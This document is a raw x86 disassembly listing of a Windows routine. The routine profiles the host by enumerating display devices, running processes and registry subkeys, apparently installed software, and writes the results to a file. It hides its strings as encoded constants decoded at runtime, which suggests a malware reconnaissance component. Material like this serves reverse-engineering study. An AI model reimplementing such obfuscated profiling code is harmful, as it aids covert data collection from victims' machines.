lea eax, [ebp - 0x96c]
mov dword [ebp - 0x178], 0
push 0
push eax
mov dword [ebp - 0x970], 0x1a8
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x970]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40da1b
mov ebx, dword [ebp - 0x258]
mov eax, 0x2aaaaaab
mov ecx, ebx
xor edi, edi
sub ecx, dword [ebp - 0x25c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40d91c
xor esi, esi
jmp 0x40d8c0
lea eax, [ebp - 0x94c]
push eax
lea ecx, [ebp - 0x3d0]
call fcn.00402980
mov ecx, dword [ebp - 0x25c]
add ecx, esi
push eax
call fcn.00471ea0
lea ecx, [ebp - 0x3d0]
mov bl, al
call fcn.004028d0
test bl, bl
jne 0x40d9ce
mov ebx, dword [ebp - 0x258]
mov eax, 0x2aaaaaab
mov ecx, ebx
inc edi
sub ecx, dword [ebp - 0x25c]
add esi, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x40d8c0
sub ebx, dword [ebp - 0x25c]
lea ecx, [ebp - 0xc8]
mov eax, 0x2aaaaaab
mov dword [ebp - 0xc8], 0x92929ca2
imul ebx
mov dword [ebp - 0xc4], 0x899bba97
sar edx, 2
mov esi, edx
mov dword [ebp - 0xc0], 0xdadddd98
shr esi, 0x1f
add esi, edx
mov dword [ebp - 0xbc], 0x26223b64
mov dword [ebp - 0xb8], 0xc0877
mov byte [ebp - 0xb4], 1
call fcn.00467720
mov ebx, dword [ebp - 0x1b8]
lea eax, [ebp - 0x94c]
push eax
push esi
lea eax, [ebp - 0xc8]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
lea eax, [ebp - 0x94c]
lea ecx, [ebp - 0x360]
push eax
call fcn.00402980
lea eax, [ebp - 0x360]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x25c]
call fcn.0046faa0
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x19
call fcn.004028d0
jmp 0x40d9d4
mov ebx, dword [ebp - 0x1b8]
mov esi, dword [ebp - 0x178]
lea eax, [ebp - 0x96c]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x970], 0x1a8
push eax
mov dword [ebp - 0x178], esi
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x970]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40d892
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x8b], 0xa7adfff9
mov dword [ebp - 0x87], 0x9e99968a
mov dword [ebp - 0x83], 0x8c9b8e8f
mov dword [ebp - 0x7f], 0x80c5d
mov byte [ebp - 0x7b], 1
call fcn.00467a60
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x10086d1
call fcn.00467b60
lea eax, [ebp - 0x8b]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x7c8], pe_nt_image_headers32
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40db05
lea eax, [ebp - 0x7c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40dafe
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x7c8]
push eax
push esi
call edi
test eax, eax
je 0x40dafe
lea ecx, [ebp - 0x4d]
mov dword [ebp - 0x4d], 0xacd686d1
mov dword [ebp - 0x49], 0xf6a79ddd
mov word [ebp - 0x45], 0xf6
mov byte [ebp - 0x43], 1
call fcn.00467d10
push dword [ebp - 0x7c0]
lea eax, [ebp - 0x7a4]
push eax
lea eax, [ebp - 0x4d]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
lea eax, [ebp - 0x7c8]
push eax
push esi
call edi
test eax, eax
jne 0x40dab6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xd8], 0xa4adfff9
mov dword [ebp - 0xd4], 0x8c8e9f97
mov dword [ebp - 0xd0], 0xa29b8f9d
mov dword [ebp - 0xcc], 0x1000b0d
call fcn.00467750
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x10086d1
call fcn.00467b60
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x1ae], 0xa3b0baa7
lea ecx, [ebp - 0x1ae]
mov dword [ebp - 0x1aa], 0xbea8b8af
mov dword [ebp - 0x1a6], 0x9c97b0a0
mov dword [ebp - 0x1a2], 0x6c716e72
mov dword [ebp - 0x19e], 0x505a7162
mov dword [ebp - 0x19a], 0x646e6761
mov dword [ebp - 0x196], 0x4c527e7b
mov dword [ebp - 0x192], 0x76606365
mov dword [ebp - 0x18e], 0x7240617a
mov dword [ebp - 0x18a], 0x74736a6a
mov dword [ebp - 0x186], 0x714b4172
mov dword [ebp - 0x182], 0x57514f49
mov dword [ebp - 0x17e], 0x4a4945
mov byte [ebp - 0x17a], 1
call fcn.004676f0
lea eax, [ebp - 0x248]
mov dword [ebp - 0x248], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1ae]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ddc3
xor esi, esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x400
push eax
lea eax, [ebp - 0x1ce0]
push eax
push esi
push dword [ebp - 0x248]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, eax
test edi, edi
jne 0x40ddae
lea ecx, [ebp - 0x27]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x27], 0xd2aa86d1
mov word [ebp - 0x23], 0x8b
mov byte [ebp - 0x21], 1
call fcn.00467da0
lea eax, [ebp - 0x1ce0]
push eax
lea eax, [ebp - 0x1ae]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x14e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x14e0]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ddae
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x1b8], 0xf003f
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0x34], 0x87859cb0
mov dword [ebp - 0x30], 0xb5839894
mov dword [ebp - 0x2c], 0x9b909d
mov byte [ebp - 0x28], 1
call fcn.00467b20
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20e0]
push eax
lea eax, [ebp - 0x1b8]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dda5
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x154], 0x87859cb0
mov dword [ebp - 0x150], 0xad839894
mov dword [ebp - 0x14c], 0x968d8f99
mov dword [ebp - 0x148], 0x1006f6f
call fcn.00467750
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x1b8]
push eax
push edi
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dda5
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0xacd686d1
mov dword [ebp - 0x54], 0xf6a78add
mov word [ebp - 0x50], 0xf6
mov byte [ebp - 0x4e], 1
call fcn.00467d10
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x20e0]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
test edi, edi
je 0x40dc23
push dword [ebp - 0x248]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004e8be8
add esp, 4
lea ecx, [ebp - 0x25c]
call fcn.0046c860
lea ecx, [ebp - 0x378]
call fcn.004028d0
lea ecx, [ebp - 0x278]
call fcn.0040e130
lea ecx, [ebp - 0x390]
call fcn.004028d0
lea ecx, [ebp - 0x330]
call fcn.004028d0
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 4
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x318]
mov esi, esp
mov bl, 1
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0046a770
mov ecx, esi
call fcn.00409f50
add esp, 0x18
lea ecx, [ebp - 0x3a8]
mov dl, bl
call fcn.0040b6a0
add esp, 0x18
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1009783
call fcn.00467b60
lea ecx, [ebp - 0x318]
call fcn.00402a20
lea ecx, [ebp - 0x20]
push ecx
push eax
call fcn.004e5362
mov esi, eax
add esp, 8
test esi, esi
je 0x40dea2
cmp dword [ebp - 0x394], 0x10
lea eax, [ebp - 0x3a8]
jb 0x40de8a
mov eax, dword [ebp - 0x3a8]
push esi
push dword [ebp - 0x398]
push 1
push eax
call fcn.004ed168
push esi
call fcn.004e8be8
add esp, 0x14
lea ecx, [ebp - 0x3a8]
call fcn.004028d0
lea ecx, [ebp - 0x318]
call fcn.004028d0
lea ecx, [ebp + 8]
call fcn.004028d0
lea ecx, [ebp + 0x20]
call fcn.004028d0
lea ecx, [ebp + 0x38]
call fcn.004028d0
lea ecx, [ebp + 0x50]
call fcn.004028d0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret